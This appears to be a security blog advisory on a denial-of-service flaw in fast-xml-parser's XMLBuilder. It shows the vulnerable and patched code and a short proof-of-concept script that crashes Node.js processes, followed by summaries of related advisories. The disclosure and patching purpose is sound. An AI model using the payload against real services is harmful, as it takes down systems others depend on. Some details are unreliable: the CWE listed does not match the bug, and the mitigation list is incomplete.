Feb 27, 2026·6 min read·62 visits
Uncontrolled recursion in `XMLBuilder` allows attackers to crash Node.js applications by supplying malformed input objects. Fixed in version 5.3.8.
In the world of JavaScript, trusting your input types is a rookie mistake that even seasoned developers make. CVE-2026-27942 is a classic example of this hubris: a Denial of Service vulnerability in the ubiquitous `fast-xml-parser` library. By feeding the parser a specific data structure when the `preserveOrder` option is enabled, an attacker can trick the library into an infinite recursive loop. This consumes the entire call stack, crashing the Node.js process instantly. It's a low-severity issue on paper, but a high-annoyance issue for anyone relying on this library for stable uptime.
Every developer loves a fast library. fast-xml-parser sells itself on speed and efficiency, and for the most part, it delivers. But as with most things in the JavaScript ecosystem, the devil is in the loosely-typed details. The vulnerability lies within the XMLBuilder component, specifically when a user enables the preserveOrder: true option.
When this option is on, the builder stops treating your input JSON as a chaotic bag of properties and starts expecting a very specific, orderly structure—typically an array of objects. It needs this structure to respect the order of XML tags during generation.
This is where things get interesting. The code assumes that if you are preserving order, you are playing by the rules and providing arrays. It blindly trusts the structure. And as any security researcher knows, blind trust is just a polite way of saying "please exploit me."
The root cause is a logic error in src/xmlbuilder/orderedJs2Xml.js inside a function called arrToStr. This function is responsible for traversing the ordered array structure and converting it to an XML string. It uses recursion to handle nested tags, which is standard practice for tree traversal.
However, the function lacked a critical safety check: a base case for invalid types. It assumed the input arr was always an Array. In JavaScript, strings and arrays share some dangerous similarities—specifically, they both have a length property and can be indexed (val[0]).
If an attacker passes a string where the code expects an array, the function loops over the string's length. Inside that loop, it grabs the character at index i (which is a string of length 1) and recursively calls itself with that character.
Here is the punchline: A string of length 1 (e.g., 'a') has a length of 1. The loop runs once. It grabs index 0, which is... 'a'. It recurses again. The function essentially creates a logic Ouroboros—a snake eating its own tail—looping infinitely until the V8 engine runs out of stack space and screams.
Let's look at the smoking gun. This is the code before the fix. Notice the immediate entry into a for loop based on .length without verifying what arr actually is.
// VULNERABLE CODE
function arrToStr(arr, options, jPath, indentation) {
let xmlStr = "";
// ... setup ...
// The Fatal Assumption: "arr" is definitely an array, right?
for (let i = 0; i < arr.length; i++) {
let tagObj = arr[i];
// ... processing ...
// Recursive call happens later based on tagObj
}
return xmlStr;
}And here is the fix implemented in version 5.3.8. The developers added a sanity check right at the front door. If arr isn't an array, it treats it as a primitive value (text) and returns, effectively creating the missing base case for the recursion.
// PATCHED CODE (Commit c13a961)
function arrToStr(arr, options, jPath, indentation) {
// The Fix: Explicitly check types before looping
if (!Array.isArray(arr)) {
if (arr !== undefined && arr !== null) {
return arr.toString(); // Treat as text content
}
return "";
}
for (let i = 0; i < arr.length; i++) {
// Now safe to loop
}
}Exploiting this is trivially easy if you can control the object passed to the builder. This often happens in web applications that accept JSON configurations or data exports and convert them to XML for legacy system compatibility.
An attacker simply needs to construct a JSON object where a node that should be an array is replaced with a string. Because preserveOrder: true changes the parsing logic to expect arrays, the mismatch triggers the flaw.
Here is the Proof of Concept:
const { XMLBuilder } = require('fast-xml-parser');
// 1. Enable the vulnerable setting
const builder = new XMLBuilder({ preserveOrder: true });
// 2. Craft the poison payload
// The builder expects children of 'foo' to be arrays of objects.
// We give it a string inside a nested object.
const poison = [{
'root': [
{ 'nested': "I am a string, not an array!" }
]
}];
console.log("Attempting to build...");
// 3. Trigger the stack overflow
try {
builder.build(poison);
} catch (e) {
console.log("Crash confirmed:", e.message);
// Output: RangeError: Maximum call stack size exceeded
}When this runs, the process terminates. In a production Node.js environment (which is single-threaded), this means the server stops handling all requests until the process manager restarts it. A persistent attacker can keep the service flapping indefinitely.
You might look at the CVSS score of 2.7 and think, "I'll patch this next quarter." That would be a mistake. While this vulnerability doesn't allow for Remote Code Execution (RCE) or data exfiltration, availability is a key pillar of the CIA triad.
Modern microservices often rely on these utility libraries for data transformation. If you have a public-facing endpoint that converts JSON to XML (e.g., an export feature or a SOAP integration bridge), a single malformed request can take down the pod or container.
If you are running a serverless function (like AWS Lambda), this will cause the invocation to timeout or error out, potentially racking up costs or triggering error alarms that wake up your on-call engineer at 3 AM. Low severity, high nuisance.
The path forward is straightforward. The maintainers released a patch quickly after disclosure.
Immediate Action: Upgrade fast-xml-parser to version 5.3.8 or higher.
If you cannot upgrade immediately (perhaps you are stuck in dependency hell), you have two mitigation options:
preserveOrder: If your application logic doesn't strictly require ordered XML tags, set this option to false. The vulnerable code path is completely skipped in the default mode.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U| Product | Affected Versions | Fixed Version |
|---|---|---|
fast-xml-parser NaturalIntelligence | < 5.3.8 | 5.3.8 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Stack Exhaustion / Uncontrolled Recursion |
| CWE ID | CWE-120 (Buffer Copy without Checking Size of Input) |
| CVSS Score | 2.7 (Low) |
| Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L |
| EPSS Score | 0.00040 (11.95%) |
| Exploit Status | PoC Available |
| Platform | Node.js / JavaScript |
An in-depth technical analysis of multiple security vulnerabilities in the self-hosted Docker API server of Crawl4AI up to version 0.8.7. These flaws include a critical arbitrary file write via symlink traversal and TOCTOU weakness, CRLF log injection, webhook header injection, and SSRF filter gaps. These have been remediated in version 0.8.8.
A technical evaluation of the Crawl4AI open-source web crawling and scraping library revealed a high-severity credential exfiltration vulnerability in its self-hosted Dockerized API server. The flaw arises from an unvalidated base_url parameter in request payloads and a dynamic prefix resolution mechanism that retrieves system environment variables. Unauthenticated remote attackers can leverage these features in tandem to extract host-level secrets or redirect configured LLM API keys to an external listener under their control.
The Crawl4AI Docker API server, in versions 0.8.6 and prior, contains multiple critical vulnerabilities including improper path sanitization, missing authentication on administration routes, hardcoded JWT secrets, and SSRF. These vulnerabilities allow remote, unauthenticated attackers to write arbitrary files, execute arbitrary code, and pivot into private cloud environments.
A local security vulnerability in the Nuxt development server (nuxt dev) allows local unprivileged users to access sensitive configuration files and source code. On Linux environments running Node.js 20+, Nuxt bound its internal vite-node IPC server to an abstract-namespace Unix socket without any peer authentication, enabling co-resident local users to connect and request module code directly.
Mozilla Bleach is an open-source HTML sanitizing library for Python. Versions up to and including 6.3.0 contain an incomplete filtering implementation in the URI validation logic ('sanitize_uri_value'). This logic fails to detect disallowed protocols, such as 'javascript:', if they contain Unicode invisible characters, whitespace characters, or characters with a code point greater than U+00A0. While standard-compliant web browsers do not directly execute invalid URI schemes containing these non-standard characters, downstream systems that normalize Unicode text by stripping invisible or non-ASCII characters can unintentionally reactivate the 'javascript:' prefix, causing Cross-Site Scripting (XSS). Additionally, this behavior violates Bleach's core sanitization contract by outputting URIs that bypass protocol allowlists configured by the caller.
An uncontrolled resource consumption vulnerability exists in the Python package Bleach when parsing text to linkify email addresses. When `parse_email=True` is enabled, the regular expression engine is forced into a quadratic-time complexity scan on specially crafted payloads lacking an '@' symbol. This causes immediate CPU exhaustion and blocks application server worker processes.